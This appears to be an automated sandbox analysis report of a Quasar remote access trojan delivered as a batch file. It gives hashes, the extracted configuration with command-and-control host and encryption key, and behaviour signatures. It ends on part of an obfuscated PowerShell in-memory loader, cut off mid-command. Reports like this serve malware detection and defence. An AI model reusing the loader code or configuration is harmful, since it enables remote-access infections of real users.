Analysis
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max time kernel
300s -
max time network
298s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
28-05-2024 13:41
Static task
static1
Behavioral task
behavioral1
Sample
New1.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
New1.bat
Resource
win10v2004-20240508-en
General
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Target
New1.bat
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Size
1002KB
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MD5
f6d5bfaee8a55ff72c7b453fda066d62
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SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f
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SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
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SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
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SSDEEP
12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB
Malware Config
Extracted
quasar
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reconnect_delay
3000
Extracted
quasar
3.1.5
Video
runderscore00-25501.portmap.host:25501
$Sxr-oWTh3ZS9htfe80iIl5
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encryption_key
zK8u0rpHf4TJzGf65Flt
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install_name
Win11.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
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startup_key
Windows 11 Boot
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subdirectory
Win11
Signatures
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Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/2120-34-0x0000000009620000-0x0000000009712000-memory.dmp family_quasar behavioral1/memory/1924-205-0x000000000AC20000-0x000000000AC8C000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\New.exe family_quasar behavioral1/memory/2892-223-0x00000000009A0000-0x0000000000A0C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3708 created 568 3708 powershell.EXE winlogon.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 2 1924 powershell.exe 8 1924 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 4880 powershell.exe 1924 powershell.exe 2120 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
New.exeInstall.exepid process 2892 New.exe 4512 Install.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 14 IoCs
Processes:
powershell.EXEsvchost.exesvchost.exeOfficeClickToRun.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3708 set thread context of 2828 3708 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 58 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 May 2024 13:42:57 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716903776" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepid process 2120 powershell.exe 2120 powershell.exe 2120 powershell.exe 4880 powershell.exe 4880 powershell.exe 4880 powershell.exe 1924 powershell.exe 1924 powershell.exe 1924 powershell.exe 3708 powershell.EXE 3708 powershell.EXE 3708 powershell.EXE 3708 powershell.EXE 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe 2828 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2120 powershell.exe Token: SeDebugPrivilege 4880 powershell.exe Token: SeIncreaseQuotaPrivilege 4880 powershell.exe Token: SeSecurityPrivilege 4880 powershell.exe Token: SeTakeOwnershipPrivilege 4880 powershell.exe Token: SeLoadDriverPrivilege 4880 powershell.exe Token: SeSystemProfilePrivilege 4880 powershell.exe Token: SeSystemtimePrivilege 4880 powershell.exe Token: SeProfSingleProcessPrivilege 4880 powershell.exe Token: SeIncBasePriorityPrivilege 4880 powershell.exe Token: SeCreatePagefilePrivilege 4880 powershell.exe Token: SeBackupPrivilege 4880 powershell.exe Token: SeRestorePrivilege 4880 powershell.exe Token: SeShutdownPrivilege 4880 powershell.exe Token: SeDebugPrivilege 4880 powershell.exe Token: SeSystemEnvironmentPrivilege 4880 powershell.exe Token: SeRemoteShutdownPrivilege 4880 powershell.exe Token: SeUndockPrivilege 4880 powershell.exe Token: SeManageVolumePrivilege 4880 powershell.exe Token: 33 4880 powershell.exe Token: 34 4880 powershell.exe Token: 35 4880 powershell.exe Token: 36 4880 powershell.exe Token: SeIncreaseQuotaPrivilege 4880 powershell.exe Token: SeSecurityPrivilege 4880 powershell.exe Token: SeTakeOwnershipPrivilege 4880 powershell.exe Token: SeLoadDriverPrivilege 4880 powershell.exe Token: SeSystemProfilePrivilege 4880 powershell.exe Token: SeSystemtimePrivilege 4880 powershell.exe Token: SeProfSingleProcessPrivilege 4880 powershell.exe Token: SeIncBasePriorityPrivilege 4880 powershell.exe Token: SeCreatePagefilePrivilege 4880 powershell.exe Token: SeBackupPrivilege 4880 powershell.exe Token: SeRestorePrivilege 4880 powershell.exe Token: SeShutdownPrivilege 4880 powershell.exe Token: SeDebugPrivilege 4880 powershell.exe Token: SeSystemEnvironmentPrivilege 4880 powershell.exe Token: SeRemoteShutdownPrivilege 4880 powershell.exe Token: SeUndockPrivilege 4880 powershell.exe Token: SeManageVolumePrivilege 4880 powershell.exe Token: 33 4880 powershell.exe Token: 34 4880 powershell.exe Token: 35 4880 powershell.exe Token: 36 4880 powershell.exe Token: SeIncreaseQuotaPrivilege 4880 powershell.exe Token: SeSecurityPrivilege 4880 powershell.exe Token: SeTakeOwnershipPrivilege 4880 powershell.exe Token: SeLoadDriverPrivilege 4880 powershell.exe Token: SeSystemProfilePrivilege 4880 powershell.exe Token: SeSystemtimePrivilege 4880 powershell.exe Token: SeProfSingleProcessPrivilege 4880 powershell.exe Token: SeIncBasePriorityPrivilege 4880 powershell.exe Token: SeCreatePagefilePrivilege 4880 powershell.exe Token: SeBackupPrivilege 4880 powershell.exe Token: SeRestorePrivilege 4880 powershell.exe Token: SeShutdownPrivilege 4880 powershell.exe Token: SeDebugPrivilege 4880 powershell.exe Token: SeSystemEnvironmentPrivilege 4880 powershell.exe Token: SeRemoteShutdownPrivilege 4880 powershell.exe Token: SeUndockPrivilege 4880 powershell.exe Token: SeManageVolumePrivilege 4880 powershell.exe Token: 33 4880 powershell.exe Token: 34 4880 powershell.exe Token: 35 4880 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 1924 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exedescription pid process target process PID 3296 wrote to memory of 2120 3296 cmd.exe powershell.exe PID 3296 wrote to memory of 2120 3296 cmd.exe powershell.exe PID 3296 wrote to memory of 2120 3296 cmd.exe powershell.exe PID 2120 wrote to memory of 4880 2120 powershell.exe powershell.exe PID 2120 wrote to memory of 4880 2120 powershell.exe powershell.exe PID 2120 wrote to memory of 4880 2120 powershell.exe powershell.exe PID 2120 wrote to memory of 5016 2120 powershell.exe WScript.exe PID 2120 wrote to memory of 5016 2120 powershell.exe WScript.exe PID 2120 wrote to memory of 5016 2120 powershell.exe WScript.exe PID 5016 wrote to memory of 1508 5016 WScript.exe cmd.exe PID 5016 wrote to memory of 1508 5016 WScript.exe cmd.exe PID 5016 wrote to memory of 1508 5016 WScript.exe cmd.exe PID 1508 wrote to memory of 1924 1508 cmd.exe powershell.exe PID 1508 wrote to memory of 1924 1508 cmd.exe powershell.exe PID 1508 wrote to memory of 1924 1508 cmd.exe powershell.exe PID 1924 wrote to memory of 2892 1924 powershell.exe New.exe PID 1924 wrote to memory of 2892 1924 powershell.exe New.exe PID 1924 wrote to memory of 2892 1924 powershell.exe New.exe PID 1924 wrote to memory of 4512 1924 powershell.exe Install.exe PID 1924 wrote to memory of 4512 1924 powershell.exe Install.exe PID 1924 wrote to memory of 4512 1924 powershell.exe Install.exe PID 2892 wrote to memory of 3996 2892 New.exe SCHTASKS.exe PID 2892 wrote to memory of 3996 2892 New.exe SCHTASKS.exe PID 2892 wrote to memory of 3996 2892 New.exe SCHTASKS.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 3708 wrote to memory of 2828 3708 powershell.EXE dllhost.exe PID 2828 wrote to memory of 568 2828 dllhost.exe winlogon.exe PID 2828 wrote to memory of 632 2828 dllhost.exe lsass.exe PID 2828 wrote to memory of 720 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 908 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 984 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 992 2828 dllhost.exe dwm.exe PID 2828 wrote to memory of 344 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 376 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 616 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1028 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1096 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1148 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1208 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1236 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1244 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1340 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1400 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1448 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1484 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1500 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1556 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1644 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1700 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1756 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1764 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1828 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1852 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 1996 2828 dllhost.exe spoolsv.exe PID 2828 wrote to memory of 1692 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 2096 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 2252 2828 dllhost.exe svchost.exe PID 2828 wrote to memory of 2508 2828 dllhost.exe svchost.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:568
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:992
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c738899d-b0b9-4d8f-921b-4c805e3b7e7a}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2828
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:632
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:720
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:908
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:984
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:344
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:376
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:616
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1028
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1096
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c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2884
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:uFVmWnzJsihJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wbhHqlZMizmjdp,[Parameter(Position=1)][Type]$EfpdBSPcIC)$ujrgylsdfua=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+'l'+'e'+[Char](99)+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+'e'+'m'+[Char](111)+'ry'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+[Char](116)+''+'e'+''+[Char](84)+''+'y'+'p'+[Char](101)+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$ujrgylsdfua.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+'a'+'me'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$wbhHqlZMizmjdp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$ujrgylsdfua.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'','Publ'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+'g'+''+','+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$EfpdBSPcIC,$wbhHqlZMizmjdp).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $ujrgylsdfua.CreateType();}$KTYruWttwOxeA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 